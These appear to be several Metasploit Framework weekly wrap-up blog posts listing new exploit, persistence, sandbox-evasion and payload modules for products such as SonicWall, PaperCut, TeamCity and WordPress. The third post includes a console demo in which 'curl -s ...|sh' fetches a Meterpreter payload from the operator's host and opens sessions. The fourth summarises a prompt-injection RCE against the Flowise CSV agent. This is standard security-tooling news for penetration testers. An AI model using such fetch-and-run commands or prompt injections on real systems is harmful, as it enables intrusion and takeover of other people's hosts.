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Metasploit Wrap Up: This One Goes to Sixteen!

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This One Goes to Sixteen!

Another banger from Metasploit with sixteen new modules, including ten exploit modules, with five on the CISA KEV list. Cisco, Papercut, Sonicwall, Jetbrains, and Langflow all have exploit modules, and not to be outdone, we even have a Metasploit scanner to watch the watchers!

New module content (16)

Elasticsearch ingest-attachment Apache Tika XFA XXE Local File Read

Authors: Bourbon Offensive Security Services and Jean-Marie Bourbon

Type: Auxiliary

Pull request: #21739 contributed by kmkz

Path: scanner/http/elasticsearch_tika_xfa_xxe

CVE reference: CVE-2025-66516

Description: Adds an auxiliary scanner module for CVE-2025-54988/CVE-2025-66516. The module validates an XML External Entity (XXE) vulnerability in Apache Tika's XFA parser exposed through the Elasticsearch attachment ingest processor.

SPIP Unauthenticated Blind SQLi via Date Field Escaping Bypass

Authors: Benoit Hua, Franck Chevalier, Julien Voisin, and ka3n1x

Type: Auxiliary

Pull request: #21791 contributed by jvoisin

Path: scanner/http/spip_annee_sqli

Description: Adds modules/auxiliary/scanner/http/spip_annee_sqli.rb which exploits a blind SQL injection in SPIP's date column escaping logic.

Metasploit Payload Handler Detection (TCP/UDP/HTTP/HTTPS)

Author: h00die

Type: Auxiliary

Pull request: #21551 contributed by h00die

Path: scanner/msf/handler_detect

Description: Adds a scanner module to enumerate ports on a host and determine if they're a Metasploit Reverse Handler or not, and if they are, what kind of shell they were going to land.

ESC8 Relay: SMB to HTTP(S) via Kerberos

Author: Pushpender Rathore

Type: Auxiliary

Pull request: #21709 contributed by Pushpenderrathore

Path: server/relay/esc8_kerberos

CVE reference: CVE-2026-20929

Description: This introduces native Kerberos authentication relay capabilities to the framework's relay stack. It includes a new auxiliary module (esc8_kerberos) that exploits CVE-2026-20929 by targeting AD CS Web Enrollment (ESC8). The module captures an SMB2 AP-REQ from a coerced client and seamlessly replays the authentication to the target certificate server over HTTP. This chain ultimately allows an attacker to issue a certificate for the coerced victim and obtain a valid Kerberos TGT without requiring their credentials.

Linux x64 Sandbox Environment Gate

Author: Massimo Bertocchi

Type: Evasion

Pull request: #21642 contributed by litemars

Path: linux/x64/sandbox_gate

Description: Adds a Linux x64 sandbox‑evasion module that performs lightweight runtime environment checks and aborts execution when a likely sandbox or VM is detected.

Cisco Secure Firewall Management Center Authentication Bypass RCE

Authors: Arian Eidizadeh, Brandon Sakai, and Cale Black

Type: Exploit

Pull request: #21796 contributed by CyberAuth

Path: linux/http/cisco_fmc_auth_bypass_rce

CVE reference: CVE-2026-20079

Description: Adds a native Metasploit exploit module for CVE-2026-20079, an unauthenticated authentication bypass in Cisco Secure Firewall Management Center (FMC).

SonicWall SMA1000 WorkPlace SSRF to Root Remote Code Execution

Authors: Adam Babis, William Perry, and sfewer-r7

Type: Exploit

Pull request: #21883 contributed by sfewer-r7

Path: linux/http/sonicwall_sma1000_couchdb_rce

CVE reference: CVE-2026-83549

Description: This adds an exploit module for the recent SonicWall SMA1000 zero-day exploit chain that was disclosed in the first week of September as being exploited in-the-wild. CVE-2026-83548 is an SSRF used to bypass auth. SMA1000-9427 is an RCE with low privileges via CouchDB read/write primitives. CVE-2026-83549 is a command injection in cmsSnmpTrap.sh for RCE with root privs. The patched version 12.5.0-02952 has been verified to successfully remediate this exploit chain.

JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution

Authors: Antoni Tremblay and sfewer-r7

Type: Exploit

Pull request: #21775 contributed by sfewer-r7

Path: multi/http/jetbrains_teamcity_rce_cve_2026_63077

CVE reference: CVE-2026-63077

Description: This introduces a new unauthenticated Remote Code Execution (RCE) exploit module for JetBrains TeamCity, targeting the vulnerability tracked as CVE-2026-63077. The module exploits an unsafe XStream deserialization flaw within the agent polling protocol to deliver and execute a one-shot JSP payload on the server. The module supports both Windows and Linux targets and features built-in cleanup logic to automatically unregister and remove the fake build agent created during the exploitation process.

Langflow AI authenticated RCE

Author: Richard Howe

Type: Exploit

Pull request: #21837 contributed by rmhowe425

Path: multi/http/langflow_auth_rce_cve_2026_19295

CVE reference: CVE-2026-19295

Description: Adds a new module targeting CVE-2026-19295, an authenticated remote code execution vulnerability impacting Langflow versions 1.10.0 and below.

MCPJam Inspector Connect API Command Execution

Authors: Louay-075 and earthenvessel

Type: Exploit

Pull request: #21655 contributed by earthenvessel

Path: multi/http/mcpjam_inspector_rce

CVE reference: CVE-2026-23744

Description: This adds a new exploit module for CVE-2026-23744, an unauthenticated command execution vulnerability in MCPJam Inspector. The module targets the /api/mcp/connect endpoint. Vulnerable versions accept a JSON serverConfig object containing a command and args array, then use those values to start an MCP server. When MCPJam Inspector is exposed on a routable interface, an unauthenticated remote attacker can abuse this behavior to execute operating system commands as the user running MCPJam Inspector.

PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)

Author: sfewer-r7

Type: Exploit

Pull request: #21842 contributed by sfewer-r7

Path: multi/http/papercut_ng_external_user_lookup_rce

CVE reference: CVE-2026-82078

Description: Adds an exploit module for the recent PaperCut MF and PaperCut NG exploit chain (CVE-2026-81578 + CVE-2026-82078) that was reported last week as a zero-day being actively exploited in the wild.

SimpleHelp OIDC Authentication Bypass Remote Code Execution

Authors: Blackpoint Cyber, Horizon3.ai, Zach Hanley, and jheysel-r7

Type: Exploit

Pull request: #21825 contributed by jheysel-r7

Path: multi/http/simplehelp_oidc_auth_bypass_rce

CVE reference: CVE-2026-48558

Description: Adds an exploit module for CVE-2026-48558, an OIDC authentication bypass affecting SimpleHelp 5.5.0 through 5.5.15.

SPIP Autosave Session Unauthenticated RCE

Author: Julien Voisin

Type: Exploit

Pull request: #21859 contributed by jvoisin

Path: multi/http/spip_autosave_rce

Description: Adds a module targeting an unauthenticated remote code execution vulnerability in SPIP <= 4.4.21 via the forum autosave session handler. The action=session endpoint lets any visitor store arbitrary PHP code in a session variable, which is then executed by the template engine when the article page is rendered. No CVE has yet been issued.

Next.js Unauthenticated RCE on Windows Servers

Authors: Avishek Sarkar, Bogyeom Lee, and Maksim Rogov

Type: Exploit

Pull request: #21834 contributed by vognik

Path: windows/http/nextjs_unauth_rce_cve_2026_75604

CVE reference: CVE-2026-75604

Description: Adds a module targeting CVE-2026-75604, a Remote Code Execution (RCE) vulnerability in Next.js applications hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server running Next.js versions from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3.

Boot Verification Program Persistence

Author: Emanuele Cervelli

Type: Exploit

Pull request: #21550 contributed by M4nu02

Path: windows/persistence/boot_verification_program

Description: Adds a Windows persistence module leveraging the registry key BootVerificationProgram.

Windows Time Provider Persistence

Author: Emanuele Cervelli

Type: Exploit

Pull request: #21522 contributed by M4nu02

Path: windows/persistence/time_provider

Description: Adds a new persistence module that registers a custom Time Provider DLL under the W32Time service registry key.

Bugs fixed (4)

  • #21719 from Pushpenderrathore - Fixes a race condition in the module Metadata cache.
  • #21838 from jheysel-r7 - Fixes payload choosing behaviour when swapping targets to auto-select the most fitting payload which can now also include Java payloads.
  • #21853 from Pushpenderrathore - Three fixes to the core Rex::Proto::DNS forward/cache path that surface once the DNS server is used as a selective poisoner in front of a real upstream resolver
  • #21861 from prithvee07 - Fixes a recent regression in the vsftpd_234_backdoor module where by updating the module to support ARCH_CMD payloads we inadvertently dropped support for cmd/unix/interact payloads. Both payloads are now supported.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro.

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Metasploit Wrap Up: Lot of summer shells and fit http profiles

This wrap-up brings a full-on shell parade. Thirteen shiny new modules landed, starting with a buffet of RCEs. WordPress WP2Shell, Ghost CMS, Joomla JCE, Langflow, OpenCATS, Pterodactyl Panel, SonicWall SMA1000, Ray Dashboard, a Pix-for-WooCommerce, and for those who like their exploits closer to the bare-metal, the Fragnesia Linux kernel LPE (CVE-2026-46300). Metasploit also got the glow-up of the summer with the new http malleable profiles, MCP functionality and linux multi fetch payloads (more details on the [official 6.5 release blog post](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/)!). Windows on ARM confirm to be the new first-class citizenship thanks to brand-new AArch64 reverse-TCP shells (both inline and staged), so your Snapdragon boxes can join the party too. Last but not least, an important message: *Nyan Nyan Nyan Nyan Nyan Nyan.*

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New module content (13)

Ray Dashboard Logs API Path Traversal

Author: Richard Howe <rhowe425>

Type: Auxiliary

Pull request: #21681 contributed by rmhowe425

Path: `gather/ray_dashboard_logs_api_path_traversal`

Description: This adds an auxiliary module that leverages a path traversal vulnerability in Ray to list the contents of local directories. There is currently no CVE assigned to this vulnerability. Issuance is pending with MITRE.

Pterodactyl Panel CVE-2025-49132 Remote Code Execution

Authors: 0xtensho and jheysel-r7

Type: Exploit

Pull request: #21452 contributed by jheysel-r7

Path: `linux/http/pterodactyl_locales_locale_json`

AttackerKB reference: CVE-2025-49132

Description: This adds a module which exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated remote code execution through improper handling of locale file operations. The vulnerability, CVE-2025-49132, exists in the locale.json endpoint which allows path traversal and arbitrary file creation. This combination of capabilities results in remote code execution in the context of the user running the web server.

SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution

Authors: Deral Heiland, Rapid7 Vulnerability Research, and Ryan Emmons

Type: Exploit

Pull request: #21678 contributed by dheiland-r7(https://github.com/dheiland-r7)

Path: `linux/http/sonicwall_sma1000_wsproxy_rce`

AttackerKB reference: CVE-2026-15409

Description: This adds a new exploit module for CVE-2026-15409, a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service.

Fragnesia LPE (CVE-2026-46300)

Authors: William Bowling and msutovsky-r7

Type: Exploit

Pull request: #21456 contributed by msutovsky-r7

Path: linux/local/cve_2026_46300_fragnesia

AttackerKB reference: CVE-2026-46300

Description: This adds a local module for the Fragnesia exploit which is a page-cache replacement vulnerability in the Linux kernel's XFRM (IPsec) subsystem, tracked as CVE-2026-46300.

Ghost CMS Remote Code Execution

Authors: Cristian-Alexandru Staicu and Maksim Rogov

Type: Exploit

Pull request: #21234 contributed by vognik

Path: multi/http/ghostcms_auth_rce_cve_2026_29053

AttackerKB reference: CVE-2026-22594

Description: This adds an exploit module for Ghost CMS (CVE-2026-29053) that achieves remote code execution by uploading a malicious theme. Ghost's theme renderer evaluates untrusted JSONPath expressions through the {{#get}} helper, letting the module inject and trigger arbitrary code once a theme is uploaded and activated. You'll need valid admin or staff credentials to authenticate.

Joomla Content Editor Unauthenticated File Upload RCE

Authors: David Jardin, Uwe Flottemesch, and ispyispyispy

Type: Exploit

Pull request: #21615 contributed by 15py15py15py

Path: multi/http/joomla_com_jce_unauth_file_upload_rce

AttackerKB reference: CVE-2026-48907

Description: This adds a new exploit module for CVE-2026-48907, an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla!. The profiles.import task fails to enforce authentication, letting an attacker import a crafted profile that is written to disk as a PHP web shell, resulting in remote code execution when the tmp/ directory is directly accessible. All JCE versions up to and including 2.9.99.4 are affected, and no credentials are required.

Langflow Unauth RCE

Authors: Diamorphine and Richard Howe

Type: Exploit

Pull request: #21700 contributed by rmhowe425

Path: multi/http/langflow_unauth_rce_cve_2026_33017

AttackerKB reference: CVE-2026-33017

Description: Adds a new multi/http/langflow_unauth_rce_cve_2026_33017 exploit module that exploits an unauth RCE vulnerability in the /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow versions prior to 1.9.0.

OpenCATS Installer PHP Code Injection

Authors: Chocapikk and stlthr4k3r

Type: Exploit

Pull request: #21630 contributed by stlthr4k3r

Path: multi/http/opencats_installer_rce

AttackerKB reference: CVE-2026-27760

Description: Adds an exploit module targeting CVE-2026-27760, a PHP code injection in OpenCATS.

WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE

Authors: Adam Kues, Crypto-Cat, TF1T, dtro, and haongo

Type: Exploit

Pull request: #21686 contributed by Crypto-Cat

Path: multi/http/wp_batch_desync_rce

AttackerKB reference: CVE-2026-60137

Description: This adds an exploit module to target WP2Shell, an unauthenticated pre-auth remote code execution vulnerability affecting WordPress core versions 6.9.0–6.9.4 and 7.0.0–7.0.1. The module chains a REST API route confusion flaw (CVE-2026-63030) with an SQL injection (CVE-2026-60137) to elevate privileges, deploy a payload via a custom plugin, and execute a remote session.

WordPress Unauthenticated RCE via Pix for WooCommerce plugin

Authors: Alexis Lafontaine and Maksim Rogov

Type: Exploit

Pull request: #21683 contributed by vognik

Path: multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891

AttackerKB reference: CVE-2026-3891

Description: Adds CVE-2026-3891 WordPress Unauthenticated RCE Exploit module targeting Pix for WooCommerce plugin.

Release Metasploit 6.5

Authors: OJ Reeves, Spencer McIntyre

Type: Payload (Single) Pull request: #21728 contributed by zeroSteiner

Description: Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality.

Windows AArch64 Command Shell, Reverse TCP Inline

Author: vinicius-batistella

Type: Payload (Single)

Pull request: #21589 contributed by vinicius-batistella

Path: windows/aarch64/shell_reverse_tcp

Description: Adds Windows on ARM (AArch64) reverse-TCP command-shell payload.

Windows AArch64 Command Shell, Windows AArch64 Reverse TCP Stager

Author: vinicius-batistella

Type: Payload (Stager)

Pull request: #21744 contributed by vinicius-batistella

Path: windows/aarch64/shell/reverse_tcp

Description: Adds Windows AARCH64 staged shell payloads.

Enhancements and features (15)

  • #21379 from g0tmi1k - This improves the FTP login scanner by extending the reporting logic and adding extra checks
  • #21575 from g0tmi1k - Improves scanner/ftp/ftp_version to now report the service if host is up but we don't get an appropriate FTP banner
  • #21578 from arpan-pramanik - Fixes a bug where msfconsole crashes with an unhandled exception when attempting to exit if the msf database is missing
  • #21607 from Pushpenderrathore - This extends CertificateTrace peer cert tracing to support LDAP over TLS and RDP
  • #21608 from Pushpenderrathore - This adds CertificateTrace peer cert tracing to PostgreSQL over TLS, and fixes a long-standing gap where the Postgres mixin accepted an SSL datastore option but never passed it through to the underlying connection
  • #21622 from zeroSteiner - Adds Bearer Authentication to the MCP server plugin
  • #21638 from eve0805 - This reuses the existing Kerberos ticket trace formatting for offline Kerberos artifact workflows, so stored and converted tickets can be inspected with the same output style used during live Kerberos authentication
  • #21653 from cdelafuente-r7 - This adds job tracking via run_uuid across all module types when executed through RPC endpoints to support Model Context Protocol (MCP) tool integrations
  • #21654 from cdelafuente-r7 - Adds eight new MCP tools: that wrap the existing RPC endpoints for module and session control, backed by strict per-tool input validation with an opt-in flag for dangerous actions
  • #21667 from jburgess-r7 - This updates the gogs_rebase_rce module with the vulnerability's newly assigned CVE, CVE-2026-52806
  • #21691 from eve0805 - This adds KerberosTicketTrace support to the auxiliary/admin/kerberos/forge_ticket module
  • #21697 from bwatters-r7 - Adds explicit endianness to fetch multi payload query strings and encodes the fetch command in base64 for Python 3.8+ environments
  • #21728 from zeroSteiner - Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads
  • #21748 from zeroSteiner - Nyan Nyan Nyan Nyan Nyan Nyan!
  • #21768 from adfoster-r7 - Updates the default authentication logic in the JSON RPC support to now require auth by default, either via the database with user credentials or an auth token

Bugs fixed (15)

  • #21552 from stzifkas - Fix LHOST validation rejecting tunnel hostnames when DNS lookup fails
  • #21574 from g0tmi1k - Fixes the implementation of the FTP mixin to allow for reading multiple responses on the same TCP segment
  • #21609 from dwelch-r7 - Fixed an issue where payload option validation was delayed until after running show options, ensuring options like LHOST and LPORT are validated immediately upon setting a payload or loading a module
  • #21647 from jheysel-r7 - This updates the ntlm_relay_2_self module to automatically configure Resource-Based Constrained Delegation (RBCD) on the target machine account by setting its msDS-AllowedToActOnBehalfOfOtherIdentity attribute
  • #21659 from dwelch-r7 - This improves port conflict handling for the MCP plugin by adding pre-flight availability checks, post-spawn verification, and proper state resets on failure
  • #21661 from kx7m2qd - Fixes an issue with Ctrl+C handling regarding the MCP plugin
  • #21663 from zeroSteiner - Updates the error handling in the auxiliary/admin/dcerpc/icpr_cert module
  • #21687 from zeroSteiner - This updates and centralizes the warning message that's displayed when a user sets a datastore option that is not valid in the current context
  • #21699 from sjanusz-r7 - Fixes a FrozenError issue when the DNS feature was enabled, which occurred when attempting to mutate frozen strings in place during DNS queries
  • #21701 from cdelafuente-r7 - This fixes an issue where exploit error messages were captured by the job listener during execution but hidden from the console
  • #21711 from cdelafuente-r7 - This fixes a Ruby 3 keyword argument parsing issue in run_simple, exploit_simple, and check_simple where passing a braceless hash literal caused an ArgumentError
  • #21714 from l1ve709 - Fixes typos in various module docs
  • #21718 from sjanusz-r7 - Fixes a crash when attempting to run VNC sessions from Metasploit
  • #21722 from dwelch-r7 - Fixed a regression to now again allow 0.0.0.0 as a valid listener LHOST address
  • #21759 from adfoster-r7 - Fixes a crash on multiple SMB modules when attempting to register an SMB service

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com .

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro .

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Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements

Metasploit Wrap Up Housekeeping

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles bcoles@gmail.com

Type: Encoder

Pull request: #21235 contributed by bcoles

Paths: 

  • encoders/riscv32le/byte_xori
  • encoders/riscv32le/longxor
  • encoders/riscv32le/longxor_feedback
  • encoders/riscv32le/longxor_tag
  • encoders/riscv64le/byte_xori
  • encoders/riscv64le/longxor
  • encoders/riscv64le/longxor_feedback
  • encoders/riscv64le/longxor_tag

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

  • cmd/linux/ftp/aarch64/chmod
  • cmd/linux/ftp/x86/meterpreter/reverse_tcp
  • cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

  • cmd/linux/ftp/riscv32le/shell/bind_tcp
  • cmd/linux/http/riscv32le/shell/bind_tcp
  • cmd/linux/https/riscv32le/shell/bind_tcp
  • cmd/linux/tftp/riscv32le/shell/bind_tcp
  • linux/riscv32le/shell/bind_tcp
  • cmd/linux/ftp/riscv32le/shell/reverse_tcp
  • cmd/linux/http/riscv32le/shell/reverse_tcp
  • cmd/linux/https/riscv32le/shell/reverse_tcp
  • cmd/linux/tftp/riscv32le/shell/reverse_tcp
  • linux/riscv32le/shell/reverse_tcp
  • cmd/linux/ftp/riscv64le/shell/bind_tcp
  • cmd/linux/http/riscv64le/shell/bind_tcp
  • cmd/linux/https/riscv64le/shell/bind_tcp
  • cmd/linux/tftp/riscv64le/shell/bind_tcp
  • linux/riscv64le/shell/bind_tcp
  • cmd/linux/ftp/riscv64le/shell/reverse_tcp
  • cmd/linux/http/riscv64le/shell/reverse_tcp
  • cmd/linux/https/riscv64le/shell/reverse_tcp
  • cmd/linux/tftp/riscv64le/shell/reverse_tcp
  • linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

  • #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
  • #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
  • #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
  • #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

  • #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
  • #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
  • #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
  • #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

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Weekly Metasploit Update: Exploits for FlowiseAI CSV Agent and MacOS Package Kit

More AI, more software, more bugs!

AI, it's all you hear about nowadays and everyone's got an opinion on it. Here at Metasploit, we care less about those opinions and more about the growing attack surface all this new software brings with it (yeehaw exploits!). Take for example the new Flowise CSV Agent Prompt Injection RCE brought to you by Takahiro Yokoyama and zdi-disclosures. Flowise is an open-source tool that lets you build AI apps and chatbots using a visual, drag-and-drop canvas and CVE-2026-41264 is an unauthenticated RCE run method of the CSV_Agents class in Flowise. The vulnerability exists due insufficient sandboxing and an incomplete list of disallowed inputs. It allows unauthenticated attackers to upload a .csv file containing arbitrary python code and execute it. One moment you're using AI to help draft and email and the next moment you're getting pwn'd, what a world we live in! Happy Friday and happy hacking everyone.

New module content (3)

Apache .htaccess Persistence

Authors: 4ravind-b, msutovsky-r7, and wireghoul

Type: Exploit

Pull request: #21473 contributed by 4ravind-b

Path: linux/persistence/apache_htaccess

Description: Adds a new persistence module, exploits/linux/persistence/apache_htaccess, that plants wireghoul's mod_cgi .htaccess web shell on a Linux Apache target.

Flowise CSV Agent Prompt Injection RCE

Authors: Takahiro Yokoyama and zdi-disclosures

Type: Exploit

Pull request: #21407 contributed by Takahiro-Yoko

Path: multi/http/flowise_auth_rce_cve_2026_41264

AttackerKB reference: CVE-2026-41264

Description: This adds a new exploit module for FlowiseAI Flowise (CVE-2026-41264). The CSV Agent feature evaluates LLM-generated Python code without proper sandboxing, allowing a prompt injection to achieve arbitrary code execution as the user running the server. Flowise versions 1.3.0 through 3.0.13 are affected. The module requires an API key with chatflows:create permission but does not require Flowise authentication to trigger the underlying flaw.

macOS PackageKit ZSH Environment Privilege Escalation

Authors: Mykola Grymalyuk and h00die

Type: Exploit

Pull request: #21499 contributed by h00die

Path: osx/local/packagekit_zshenv_privesc

AttackerKB reference: CVE-2024-27822

Description: This adds a new local privilege escalation module for macOS targeting CVE-2024-27822 in PackageKit.framework. When a PKG installer script uses a ZSH shebang, PackageKit runs it as root while inheriting the installing user's environment, causing ZSH to source the user's ~/.zshenv with root privileges. The module plants a payload in ~/.zshenv that fires only when running as root, then opens a minimal PKG with Installer.app; once the user approves the installation prompt and authenticates, the payload executes as root and a root session is returned. Affected versions are macOS 14.4, 13.6.6, 12.7.4, and 11 and earlier; the issue is patched in 14.5, 13.6.7, and 12.7.5.

Enhancements and features (5)

  • #21416 from g0tmi1k - This updates the Exploit::Remote::Ftp mixin to improve target fingerprinting. It now leverages recog to fingerprint targets from their banners and adds ftp_fingerprint and ftp_list_directory methods to assist with target enumeration.
  • #21436 from g0tmi1k - Improved UX for reloading of library files.
